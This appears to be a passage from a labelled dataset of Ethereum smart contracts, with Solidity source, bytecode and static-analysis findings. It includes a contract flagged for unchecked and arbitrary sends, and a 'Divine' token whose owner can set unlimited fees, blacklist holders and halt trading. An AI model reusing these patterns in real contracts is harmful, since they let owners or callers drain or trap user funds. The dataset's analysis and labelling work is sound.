6927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c96576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610448576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820df86a79de896848e0a2469bd0087a0bcfcc4178d01ef99ea253dbbb3fc2860c264736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 4,326 |
0x4ec4142b862c798b3056f5cc32ab25803828c823
|
pragma solidity 0.4.20;
// No deps verison.
/**
* @title ERC20
* @dev A standard interface for tokens.
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20 {
/// @dev Returns the total token supply
function totalSupply() public constant returns (uint256 supply);
/// @dev Returns the account balance of the account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
/// @dev Transfers _value number of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
/// @dev Transfers _value number of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount
function approve(address _spender, uint256 _value) public returns (bool success);
/// @dev Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// @title Owned
/// @author Adrià Massanet <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="90f1f4e2f9f1d0f3fff4f5f3fffee4f5e8e4bef9ff">[email protected]</a>>
/// @notice The Owned contract has an owner address, and provides basic
/// authorization control functions, this simplifies & the implementation of
/// user permissions; this contract has three work flows for a change in
/// ownership, the first requires the new owner to validate that they have the
/// ability to accept ownership, the second allows the ownership to be
/// directly transfered without requiring acceptance, and the third allows for
/// the ownership to be removed to allow for decentralization
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
/// @dev The constructor sets the `msg.sender` as the`owner` of the contract
function Owned() public {
owner = msg.sender;
}
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
/// @dev In this 1st option for ownership transfer `proposeOwnership()` must
/// be called first by the current `owner` then `acceptOwnership()` must be
/// called by the `newOwnerCandidate`
/// @notice `onlyOwner` Proposes to transfer control of the contract to a
/// new owner
/// @param _newOwnerCandidate The address being proposed as the new owner
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
/// @notice Can only be called by the `newOwnerCandidate`, accepts the
/// transfer of ownership
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 2nd option for ownership transfer `changeOwnership()` can
/// be called and it will immediately assign ownership to the `newOwner`
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 3rd option for ownership transfer `removeOwnership()` can
/// be called and it will immediately assign ownership to the 0x0 address;
/// it requires a 0xdece be input as a parameter to prevent accidental use
/// @notice Decentralizes the contract, this operation cannot be undone
/// @param _dac `0xdac` has to be entered for this function to work
function removeOwnership(address _dac) public onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
/// @dev `Escapable` is a base level contract built off of the `Owned`
/// contract; it creates an escape hatch function that can be called in an
/// emergency that will allow designated addresses to send any ether or tokens
/// held in the contract to an `escapeHatchDestination` as long as they were
/// not blacklisted
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist; // Token contract addresses
/// @notice The Constructor assigns the `escapeHatchDestination` and the
/// `escapeHatchCaller`
/// @param _escapeHatchCaller The address of a trusted account or contract
/// to call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
/// @param _escapeHatchDestination The address of a safe location (usu a
/// Multisig) to send the ether held in this contract; if a neutral address
/// is required, the WHG Multisig is an option:
/// 0x8Ff920020c8AD673661c8117f2855C384758C572
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
/// @dev The addresses preassigned as `escapeHatchCaller` or `owner`
/// are the only addresses that can call a function with this modifier
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
/// @notice Creates the blacklist of tokens that are not able to be taken
/// out of the contract; can only be done at the deployment, and the logic
/// to add to the blacklist will be in the constructor of a child contract
/// @param _token the token contract address that is to be blacklisted
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
/// @notice Checks to see if `_token` is in the blacklist of tokens
/// @param _token the token address being queried
/// @return False if `_token` is in the blacklist and can't be taken out of
/// the contract via the `escapeHatch()`
function isTokenEscapable(address _token) view public returns (bool) {
return !escapeBlacklist[_token];
}
/// @notice The `escapeHatch()` should only be called as a last resort if a
/// security issue is uncovered or something unexpected happened
/// @param _token to transfer, use 0x0 for ether
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
/// @dev Logic for ether
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
/// @dev Logic for tokens
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
/// @notice Changes the address assigned to call `escapeHatch()`
/// @param _newEscapeHatchCaller The address of a trusted account or
/// contract to call `escapeHatch()` to send the value in this contract to
/// the `escapeHatchDestination`; it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
// TightlyPacked is cheaper if you need to store input data and if amount is less than 12 bytes.
// Normal is cheaper if you don't need to store input data or if amounts are greater than 12 bytes.
contract UnsafeMultiplexor is Escapable(0, 0) {
function init(address _escapeHatchCaller, address _escapeHatchDestination) public {
require(escapeHatchCaller == 0);
require(_escapeHatchCaller != 0);
require(_escapeHatchDestination != 0);
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier sendBackLeftEther() {
uint balanceBefore = this.balance - msg.value;
_;
uint leftovers = this.balance - balanceBefore;
if (leftovers > 0) {
msg.sender.transfer(leftovers);
}
}
function multiTransferTightlyPacked(bytes32[] _addressAndAmount) sendBackLeftEther() payable public returns(bool) {
for (uint i = 0; i < _addressAndAmount.length; i++) {
_unsafeTransfer(address(_addressAndAmount[i] >> 96), uint(uint96(_addressAndAmount[i])));
}
return true;
}
function multiTransfer(address[] _address, uint[] _amount) sendBackLeftEther() payable public returns(bool) {
for (uint i = 0; i < _address.length; i++) {
_unsafeTransfer(_address[i], _amount[i]);
}
return true;
}
function multiCallTightlyPacked(bytes32[] _addressAndAmount) sendBackLeftEther() payable public returns(bool) {
for (uint i = 0; i < _addressAndAmount.length; i++) {
_unsafeCall(address(_addressAndAmount[i] >> 96), uint(uint96(_addressAndAmount[i])));
}
return true;
}
function multiCall(address[] _address, uint[] _amount) sendBackLeftEther() payable public returns(bool) {
for (uint i = 0; i < _address.length; i++) {
_unsafeCall(_address[i], _amount[i]);
}
return true;
}
function _unsafeTransfer(address _to, uint _amount) internal {
require(_to != 0);
_to.send(_amount);
}
function _unsafeCall(address _to, uint _amount) internal {
require(_to != 0);
_to.call.value(_amount)();
}
}
|
0x6060604052600436106100cc5763ffffffff60e060020a6000350416631476e40f81146100d15780631e89d545146101695780631f6eb6e7146101ed5780632a17e3971461021c5780632af4c31e14610260578063666a342714610281578063710bf322146102a057806379ba5097146102bf578063892db057146102d25780638da5cb5b146102f1578063a142d60814610304578063ac66777f14610323578063d091b55014610367578063d836fbe81461037a578063f09a401614610399578063f5b61230146103be575b600080fd5b6101556004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506103d195505050505050565b604051901515815260200160405180910390f35b61015560046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061048195505050505050565b34156101f857600080fd5b6102006104db565b604051600160a060020a03909116815260200160405180910390f35b61015560046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496506104ea95505050505050565b341561026b57600080fd5b61027f600160a060020a03600435166105b1565b005b341561028c57600080fd5b61027f600160a060020a0360043516610645565b34156102ab57600080fd5b61027f600160a060020a03600435166106c2565b34156102ca57600080fd5b61027f610733565b34156102dd57600080fd5b610155600160a060020a03600435166107b3565b34156102fc57600080fd5b6102006107d2565b341561030f57600080fd5b61027f600160a060020a03600435166107e1565b6101556004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610a1d95505050505050565b341561037257600080fd5b610200610a8f565b341561038557600080fd5b61027f600160a060020a0360043516610a9e565b34156103a457600080fd5b61027f600160a060020a0360043581169060243516610af6565b34156103c957600080fd5b610200610b64565b60008034600160a060020a0330163103815b855183101561042b576104208684815181106103fb57fe5b9060200190602002015186858151811061041157fe5b90602001906020020151610b73565b6001909201916103e3565b600193508130600160a060020a031631039050600081111561047857600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561047857600080fd5b50505092915050565b60008034600160a060020a0330163103815b855183101561042b576104d08684815181106104ab57fe5b906020019060200201518685815181106104c157fe5b90602001906020020151610baf565b600190920191610493565b600254600160a060020a031681565b60008034600160a060020a0330163103815b845183101561055c57610551606086858151811061051657fe5b9060200190602002015160029190910a900486858151811061053457fe5b906020019060200201516bffffffffffffffffffffffff16610baf565b6001909201916104fc565b600193508130600160a060020a03163103905060008111156105a957600160a060020a03331681156108fc0282604051600060405180830381858888f1935050505015156105a957600080fd5b505050919050565b6000805433600160a060020a039081169116146105cd57600080fd5b600160a060020a03821615156105e257600080fd5b5060008054600160a060020a03838116600160a060020a031980841691909117938490556001805490911690559081169116817f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60005433600160a060020a0390811691161461066057600080fd5b610dac600160a060020a0382161461067757600080fd5b60008054600160a060020a03199081169091556001805490911690557f94e8b32e01b9eedfddd778ffbd051a7718cdc14781702884561162dca6f74dbb60405160405180910390a150565b60005433600160a060020a039081169116146106dd57600080fd5b60018054600160a060020a031916600160a060020a0383811691909117918290559081169033167f13a4b3bc0d5234dd3d87c9f1557d8faefa37986da62c36ba49309e2fb2c9aec460405160405180910390a350565b60015460009033600160a060020a0390811691161461075157600080fd5b506000805460018054600160a060020a0319808416600160a060020a03838116919091179586905591169091559081169116817f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600160a060020a031660009081526004602052604090205460ff161590565b600054600160a060020a031681565b600254600090819033600160a060020a0390811691161480610811575060005433600160a060020a039081169116145b151561081c57600080fd5b600160a060020a03831660009081526004602052604090205460ff161561084257600080fd5b600160a060020a03831615156108d457600354600160a060020a033081163193501682156108fc0283604051600060405180830381858888f19350505050151561088b57600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051600160a060020a03909216825260208201526040908101905180910390a1610a18565b5081600160a060020a0381166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561092d57600080fd5b6102c65a03f1151561093e57600080fd5b5050506040518051600354909350600160a060020a03808416925063a9059cbb91168460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109ad57600080fd5b6102c65a03f115156109be57600080fd5b5050506040518051905015156109d357600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051600160a060020a03909216825260208201526040908101905180910390a15b505050565b60008034600160a060020a0330163103815b845183101561055c57610a846060868581518110610a4957fe5b9060200190602002015160029190910a9004868581518110610a6757fe5b906020019060200201516bffffffffffffffffffffffff16610b73565b600190920191610a2f565b600154600160a060020a031681565b60025433600160a060020a0390811691161480610ac9575060005433600160a060020a039081169116145b1515610ad457600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b600254600160a060020a031615610b0c57600080fd5b600160a060020a0382161515610b2157600080fd5b600160a060020a0381161515610b3657600080fd5b60028054600160a060020a03938416600160a060020a03199182161790915560038054929093169116179055565b600354600160a060020a031681565b600160a060020a0382161515610b8857600080fd5b81600160a060020a03168160405160006040518083038185876187965a03f1505050505050565b600160a060020a0382161515610bc457600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f1505050505050505600a165627a7a72305820897213433623e732ff0c18a4e0c87d8b891b48577179c9f4223bbb54341435700029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,327 |
0x0e279c94f85c69e8f5625b440e811a55ec1d8e85
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/**
*/
/**
▄▄ ▄▄
▀███▀▀▀██▄ ██ ██
██ ▀██▄
██ ▀█████ ▀██▀ ▀██▀▀███ ▀████████▄ ▄▄█▀██
██ ██ ██ ██ ▄█ ██ ██ ██ ▄█▀ ██
██ ▄██ ██ ██ ▄█ ██ ██ ██ ██▀▀▀▀▀▀
██ ▄██▀ ██ ███ ██ ██ ██ ██▄ ▄
▄████████▀ ▄████▄ █ ▄████▄████ ████▄ ▀█████▀
"The true work of art is but a shadow of the divine perfection."
Locking prior to launch & renouncing after transaction limit is fully lifted.
10% initial transaction limit and wallet size.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Divine is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Divine";
string private constant _symbol = "Divine";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 2;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xc6d0678004DFC63FCc5D8Bc6a25838f390b5E787);
address payable private _marketingAddress = payable(0xc6d0678004DFC63FCc5D8Bc6a25838f390b5E787);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565